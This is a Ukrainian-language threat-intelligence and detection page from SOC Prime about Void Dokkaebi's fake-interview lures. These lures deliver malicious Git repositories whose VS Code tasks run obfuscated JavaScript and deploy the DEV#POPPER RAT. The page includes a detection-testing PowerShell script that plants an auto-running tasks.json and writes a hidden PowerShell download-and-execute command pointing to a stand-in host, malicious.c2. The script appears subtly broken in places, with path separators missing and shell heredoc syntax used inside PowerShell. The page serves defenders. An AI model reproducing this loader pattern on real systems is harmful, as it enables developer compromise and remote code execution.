SOC Prime Bias: Критичний

24 Apr 2026 16:18

Використання підроблених інтерв’ю Void Dokkaebi для поширення шкідливого ПЗ через Git-репозиторії

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Використання підроблених інтерв’ю Void Dokkaebi для поширення шкідливого ПЗ через Git-репозиторії
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Void Dokkaebi, група загроз, пов’язана з Північною Кореєю, використовує фальшиві пропозиції про співбесіду, щоб залучити розробників клонувати шкідливі репозиторії. Після відкриття ці репозиторії зловживають впровадженими завданнями VS Code і заплутаним JavaScript, щоб перетворити довірені проєкти коду на автоматизовані канали доставки шкідливого ПЗ. Інфіковані репозиторії можуть потім сприяти ширшому поширенню компрометації в середовищі розробників та з’єднаних екосистемах.

Розслідування

Trend Micro виявила понад 750 інфікованих публічних репозиторіїв, понад 500 шкідливих конфігурацій завдань VS Code та 101 випадок із спеціальним скриптом пакетів, розробленим для маніпуляції з комітами. Аналіз показав, що шкідливий код отримував корисні навантаження через сервіси, засновані на блокчейні, і врешті доставляв варіант DEV#POPPER RAT. Це шкідливе ПЗ потім спілкувалося з інфраструктурою атакуючого через канали на основі WebSocket та HTTP.

Пом’якшення

Рекомендовані методи захисту включають ізоляцію коду, отриманого через процеси співбесіди, додавання .vscode/ to .gitignore, застосування підписаних комітів і захисту гілок, а також аудит репозиторіїв на наявність відомих маркерів інфекції. Команди безпеки також повинні моніторити трафік API блокчейну на предмет підозрілої поведінки та блокувати доступ до виявлених URL керування та контролю. Розробники повинні розглядати запити на довіру робочого простору VS Code як значну контрольну точку безпеки, а не як рутинну дію натискання.

Відповідь

Якщо підозрюється інфекція, необхідно негайно ізолювати уражену станцію, скасувати будь-які надані посвідчення, видалити шкідливі .vscode файли завдань та впроваджений JavaScript і виконати повний огляд ураженого репозиторію. Мережеві захисти також повинні бути оновлені, щоб виявляти відомі шаблони керування та контролю і блокувати вихідну комунікацію на визначені кінцеві точки блокчейну.

"graph TB %% Визначення класів classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Визначення вузлів stage_initial["<b>Етап</b> – Початковий доступ<br/>Атакуючий залучає розробника фальшивою співбесідою та шкідливим Git репозиторієм"] class stage_initial stage tech_user_exec["<b>Техніка</b> – T1204 Виконання користувача<br/>Жертва виконує шкідливий вміст, такий як посилання або скопійований код"] class tech_user_exec technique tech_malicious_link["<b>Техніка</b> – T1204.001 Шкідливе посилання<br/>Посилання направляє жертву до шкідливого репозиторію"] class tech_malicious_link technique tech_malicious_copy["<b>Техніка</b> – T1204.004 Шкідливе Копіювання та Вставка<br/>Розробник копіює код зі шкідливого репозиторію"] class tech_malicious_copy technique stage_repo_harvest["<b>Етап</b> – Збір репозиторіїв<br/>Клонований репозиторій дає доступ до початкового коду і можливих даних посвідчення"] class stage_repo_harvest stage tech_code_repo["<b>Техніка</b> – T1213.003 Дані з інформаційних репозиторіїв: Репозиторії коду<br/>Супротивник витягує дані з репозиторіїв коду"] class tech_code_repo technique stage_execution_vs["<b>Етап</b> – Виконання через VS Code<br/>.vscode/tasks.json запускає завантажувач автоматично при відкритті папки"] class stage_execution_vs stage tech_trusted_ide["<b>Техніка</b> – T1127 Використання дозволених утиліт розробника Проксі виконання<br/>Зловживання довіреними розширеннями IDE для виконання коду"] class tech_trusted_ide technique tech_ide_ext["<b>Техніка</b> – T1176.002 Програмні розширення: Розширення IDE<br/>Шкідливе tasks.json запускає виконання"] class tech_ide_ext technique file_tasks_json["<b>Файл</b> – .vscode/tasks.json<br/>Налаштовано runOn folderOpen для запуску завантажувача"] class file_tasks_json file stage_payload_retrieval["<b>Етап</b> – Отримання корисного навантаження<br/>Завантажувач отримує корисні навантаження з кінцевих точок RPC блокчейну"] class stage_payload_retrieval stage tech_resource_hijack["<b>Техніка</b> – T1496 Затримка ресурсів<br/>Використовує інфраструктуру блокчейну для доставки корисного навантаження"] class tech_resource_hijack technique tech_obfuscation["<b>Техніка</b> – T1027.007 Зашифровані файли або інформація: Динамічне рішення для API<br/>Код ховає кінцеві точки API і вирішує їх під час виконання"] class tech_obfuscation technique indicator_blockchain["<b>Індикатор</b> – Вихідні з’єднання RPC блокчейну<br/>Виклики до api.trongrid.io aptoslabs.com та BSC RPC"] class indicator_blockchain indicator stage_module_hijack["<b>Етап</b> – Викрадення модуля<br/>Прихована директорія .node_modules установлена для попереднього завантаження шкідливих модулів Node"] class stage_module_hijack stage tech_shared_modules["<b>Техніка</b> – T1129 Спільні модулі<br/>Шкідливий модуль завантажується перед легітимними"] class tech_shared_modules technique file_node_modules["<b>Файл</b> – директорія .node_modules<br/>Містить викрадений модуль"] class file_node_modules file stage_rat_deployment["<b>Етап</b> – Впровадження RAT<br/>Варіант DEV#POPPER RAT створює WebSocket C2 та ексфільтрує дані"] class stage_rat_deployment stage malware_devpopper["<b>Шкідливе ПЗ</b> – DEV#POPPER RAT<br/>WebSocket C2, ексфільтрація файлів, уникнення CI/CD котлів"] class malware_devpopper malware indicator_c2["<b>Індикатор</b> – WebSocket C2 URL"] class indicator_c2 indicator stage_persistence["<b>Етап</b> – Тривкість і підробка комітів<br/>Впроваджений шкідливий JavaScript у конфігураційні файли та пакетний скрипт змінює комітити"] class stage_persistence stage tech_timestomp["<b>Техніка</b> – T1070.006 Індикатор Видалення: Timestomp<br/>Змінює системний годинник для зміни дати комітів"] class tech_timestomp technique file_postcss["<b>Файл</b> – postcss.config.mjs<br/>Впроваджений заплутаний JavaScript"] class file_postcss file file_batch["<b>Файл</b> – temp_auto_push.bat<br/>Автоматизація зміни комітів і примусового натискання"] class file_batch file stage_propagation["<b>Етап</b> – Поширення<br/>Шкідлива папка .vscode та код, комітований, розробники нижчого рівня успадковують інфекцію"] class stage_propagation stage tech_propagation["<b>Техніка</b> – T1127 Використання дозволених утиліт розробника Проксі виконання<br/>Зловживання IDE у клонованих репозиторіях повторюється"] class tech_propagation technique tech_repo_spread["<b>Техніка</b> – T1213.003 Дані з інформаційних репозиторіїв<br/>Шкідливий код поширюється через спільний доступ до репозиторіїв"] class tech_repo_spread technique indicator_detection["<b>Індикатор</b> – Виявлення IoCs<br/>RPC блокчейну, WebSocket C2, /verify-human/ та /u/f HTTP шляхи"] class indicator_detection indicator %% З’єднання stage_initial –>|використовує| tech_user_exec tech_user_exec –>|включає| tech_malicious_link tech_user_exec –>|включає| tech_malicious_copy tech_malicious_link –>|доставляє| stage_repo_harvest tech_malicious_copy –>|доставляє| stage_repo_harvest stage_repo_harvest –>|експлуатує| tech_code_repo stage_repo_harvest –>|призводить до| stage_execution_vs stage_execution_vs –>|використовує| tech_trusted_ide stage_execution_vs –>|використовує| tech_ide_ext stage_execution_vs –>|виконує| file_tasks_json stage_execution_vs –>|спрацьовує| stage_payload_retrieval stage_payload_retrieval –>|використовує| tech_resource_hijack stage_payload_retrieval –>|використовує| tech_obfuscation stage_payload_retrieval –>|створює| indicator_blockchain stage_payload_retrieval –>|призводить до| stage_module_hijack stage_module_hijack –>|використовує| tech_shared_modules stage_module_hijack –>|містить| file_node_modules stage_module_hijack –>|призводить до| stage_rat_deployment stage_rat_deployment –>|впроваджує| malware_devpopper malware_devpopper –>|спілкується з| indicator_c2 stage_rat_deployment –>|підготує| stage_persistence stage_persistence –>|використовує| tech_timestomp stage_persistence –>|змінює| file_postcss stage_persistence –>|запускає| file_batch stage_persistence –>|дозволяє| stage_propagation stage_propagation –>|використовує| tech_propagation stage_propagation –>|використовує| tech_repo_spread stage_propagation –>|виробляє| indicator_detection "

Потік атаки

Виявлення

Можлива спроба зловживання Publicnode Ethereum як каналу C2 (через dns_query)

Команда SOC Prime
23 квітня 2026

Можливе впровадження/вивільнення/керування через треті сервіси/інструменти (через проксі)

Команда SOC Prime
23 квітня 2026

Можливе впровадження/вивільнення/керування через треті сервіси/інструменти (через dns)

Команда SOC Prime
23 квітня 2026

Можливе автоматичне створення файлів завдання Vscode у незвичайних директоріях [MACOS] (через file_event)

Команда SOC Prime
23 квітня 2026

Можливе автоматичне створення файлів завдання Vscode у незвичайних директоріях [LINUX] (через file_event)

Команда SOC Prime
23 квітня 2026

IoC (SourceIP) для виявлення: Фальшиві заманювальні пропозиції для співбесіди, використані Void Dokkaebi для розповсюдження шкідливого ПО через Git репозиторії

Правила SOC Prime AI
23 квітня 2026

IoC (DestinationIP) для виявлення: Фальшиві заманювальні пропозиції для співбесіди, використані Void Dokkaebi для розповсюдження шкідливого ПО через Git репозиторії

Правила SOC Prime AI
23 квітня 2026

Виявлення шкідливих завдань VS Code та заплутаного JavaScript від Void Dokkaebi [Windows File Event]

Правила SOC Prime AI
23 квітня 2026

Імітаційне виконання

Передумова: Телеметрія та попередня перевірка контрольної бази даних повинна бути успішною.

Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та розповідь МАЄТЬЬСЯ прямо відображати виявлені TTP та мають на меті створити точну телеметрію, очікувану логікою виявлення. Абстрактні або несуміжні приклади призведуть до неправильної діагностики.

  • Опис атаки та команди:
    Атакуючий, який переконав розробника клонувати шкідливий репозиторій, викладає прихований VS Code VS Code .vscode у папку проекту. Завдання посилається на temp_auto_push.bat скрипт, розташований в тимчасовій директорії системи. Пакетний файл генерується на ходу з неявного JavaScript фрагмента, який вбудовує маркери global['!'] and global['_V']. Коли розробник відкриває папку в VS Code, завдання автоматично запускається, виконуючи пакетний файл, який зрештою звертається до сервера C2. Цей ланцюг виконує T1053.007 (завдання VS Code), T1127.003 (персистентний ярлик через пакетний скрипт), і T1027.007 (обфускація).

    Кроки такі:

    1. Розмістити шкідливий VS Code з необхідними рядками.
    2. Створити неявний JavaScript , який при виконанні записує temp_auto_push.bat , що містить шкідливу команду.
    3. Активувати виконання завдання VS Code (імітується викликом завдання через code --folder-uri CLI).
  • Скрипт регресійного тестування:

    # -------------------------------------------------
    # Імітація завдання VS Code і заплутаний JS від Void Dokkaebi
    # -------------------------------------------------
    $vscodeDir = "$env:USERPROFILE.vscode"
    $taskFile  = Join-Path $vscodeDir "tasks.json"
    $tempBat   = "$env:TEMPtemp_auto_push.bat"
    $jsPayload = @"
    (function(){
    var g = global;
    g['!'] = true;    // маркер для виявлення
    g['_V'] = 'payload';
    var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
    var fso = new ActiveXObject('Scripting.FileSystemObject');
    var file = fso.CreateTextFile('$tempBat', true);
    file.WriteLine(cmd);
    file.Close();
    })();
    "@
    
    # 1. Забезпечьте існування директорії .vscode
    New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null
    
    # 2. Запишіть шкідливий tasks.json
    @"
    {
    "version": "2.0.0",
    "tasks": [
    {
      "label": "AutoPush",
      "type": "shell",
      "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
    }
    ]
    }
    "@ | Set-Content -Path $taskFile -Encoding UTF8
    
    # 3. (Необов'язково) Запустіть завдання безпосередньо, щоб імітувати автоматичний запуск VS Code
    # Примітка: у реальному середовищі VS Code розбирав би та виконував це завдання.
    Write-Host "Шкідливе завдання VS Code розгорнуте. Запуск через імітовану версію..."
    cscript //nologo //E:jscript //B - <<'JS'
    $jsPayload
    JS
    
    Write-Host "Імітація завершена. Перевірте SIEM для отримання сигналізації."
  • КОманди для очищення:

    # Видалити шкідливі артефакти
    Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
    # За бажанням очистити директорію .vscode, якщо вона була створена винятково для тесту
    if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
        Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "Очищення завершено."